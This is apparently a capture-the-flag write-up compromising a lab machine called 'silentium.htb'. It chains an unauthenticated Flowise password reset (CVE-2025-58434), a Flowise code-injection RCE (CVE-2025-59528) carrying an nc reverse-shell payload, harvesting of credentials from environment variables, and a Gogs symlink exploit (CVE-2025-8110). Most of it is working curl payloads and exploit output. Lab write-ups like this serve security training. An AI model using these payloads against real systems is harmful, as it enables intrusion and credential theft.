Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://silentium.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since nmap already reported the redirect to silentium.htb I add this to my /etc/hosts file before having a closer look.
Execution

There’s not much to discover on the web page at silentium.htb, but since it’s reachable via virtual host, I fuzz other valid ones with ffuf. The tool discovers staging and I add it to my hosts file.
$ ffuf -H 'Host: FUZZ.silentium.htb' \
-u http://silentium.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://silentium.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.silentium.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
staging [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 19ms]Going there just renders a login prompt to Flowise. Unfortunately no common combinations work and there does not seem to be a default one. Even though no version number is exposed I check their repository for recent vulnerabilities. There I find CVE-2025-58434 and an unauthenticated password reset sounds promising. For it to work, I need a valid email address and admin@silentium.htb is not registered.
Luckily there are three names present on the main page, Marcus Thorne, Ben, and Elena Rossi. Trying the provided proof-of-concept with ben@silentium.htb prints the required tempToken, so the email address must be valid.
$ curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"ben@silentium.htb"}}' \
| jq .
{
"user": {
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name": "admin",
"email": "ben@silentium.htb",
"credential": "$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
"tempToken": "Y7Lu3Z5j52Hjc75m5nJr41ocV7Zuti78FLQl6fb2uppIw60QkfUiE9s9adpTdD83",
"tokenExpiry": "2026-05-24T21:30:43.390Z",
"status": "active",
"createdDate": "2026-01-29T20:14:57.000Z",
"updatedDate": "2026-05-24T21:15:43.000Z",
"createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
},
"organization": {},
"organizationUser": {},
"workspace": {},
"workspaceUser": {},
"role": {}
}Then I use the token to set ben’s password to NewSecurePassword123!.
$ curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"ben@silentium.htb",
"tempToken":"Y7Lu3Z5j52Hjc75m5nJr41ocV7Zuti78FLQl6fb2uppIw60QkfUiE9s9adpTdD83",
"password":"NewSecurePassword123!"
}
}'
{
"user": {
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name": "admin",
"email": "ben@silentium.htb",
"credential": "$2a$05$q3xoZTvvkv4YtFwVLwFpgeMoiiCHHaWLBriVIFJiDqzMD4QfHvrwO",
"tempToken": "",
"tokenExpiry": null,
"status": "active",
"createdDate": "2026-01-29T20:14:57.000Z",
"updatedDate": "2026-05-24T21:19:31.000Z",
"createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
},
"organization": {},
"organizationUser": {},
"workspace": {},
"workspaceUser": {},
"role": {}
}After logging in with the new password I can find the version number 3.0.5 by going to the cogwheel in the upper right corner. This should be vulnerable to CVE-2025-59528, a remote code execution that also comes with a proof-of-concept.

On the left-hand side I can generate a new API key (or use the default one). This is required as authentication for the following curl command that pings my web server in order to check for RCE. Since this is successful, I swap it with a reverse shell payload to gain access as root.
$ curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f\");return 1;})()})"
}
}'Privilege Escalation
Shell as ben
Unfortunately I’m just root in a Docker container. Basic situational awareness finds two passwords within the environment variables. One of them, r04D!!_R4ge also works for ben via SSH.
$ env
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=4
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
LLM_PROVIDER=nvidia-nim
SMTP_USERNAME=test
SMTP_SECURE=false
TERM=xterm-256color
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
SHELL=/bin/sh
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
NVIDIA_NIM_LLM_MODE=managed
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=testShell as root
There’s another service listening on local port 3001. Reading the nginx configuration shows another virtual host that I add to my hosts file.
server {
listen 80;
server_name staging-v2-code.dev.silentium.htb;
location / {
proxy_pass http://127.0.0.1:3001;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}At staging-v2-code.dev.silentium.htb I find a Gogs instance with just a single user present. But the password(s) for ben do not work, so I just register my own account as registration is not disabled. It does not grant me access to any public repositories though.
A search for recent vulnerabilities finds CVE-2025-8110 with a proof-of-concept available. It abuses the internal SSH server to achieve remote code execution. Cloning the repo and running the exploit fails due to an error in the registration. While registering my own account I had to solve a captcha, so this likely breaks the script.
Instead of relying on a new user, I just add the credentials to my own account and rerun the code. Now it does work and I get a callback on my listener as root.
$ python3 CVE-2025-8110.py --url http://staging-v2-code.dev.silentium.htb \
--host 10.10.10.10 \
--port 4444
[+] Authenticated successfully
Token generation status: 200
[+] Application token: ee41d7695db8ab699d25b68f439598253d447d4a
Repo creation status: 201
Cloning into '/tmp/6fc177889122'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 253 bytes | 253.00 KiB/s, done.
[master 33be073] Add malicious symlink
1 file changed, 1 insertion(+)
create mode 120000 malicious_link
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 294 bytes | 294.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://staging-v2-code.dev.silentium.htb/ryuki/6fc177889122.git
5361338..33be073 master -> master
[+] Exploit sent, check your listener!Attack Path
flowchart TD subgraph "Execution" A(Web) -->|vHost enumeration| B(Staging subdomain) B -->|CVE-2025-58434| C(Reset password for ben) A -->|Names of team members|C C -->|CVE-2025-59528| D(Shell as root in container) end subgraph "Privilege Escalation" D -->|Password in environment variable| E(Shell as ben) E -->|Find subdomain in nginx conf| F(Access to Gogs) F -->|CVE-2025-8110| G(Shell as root) end
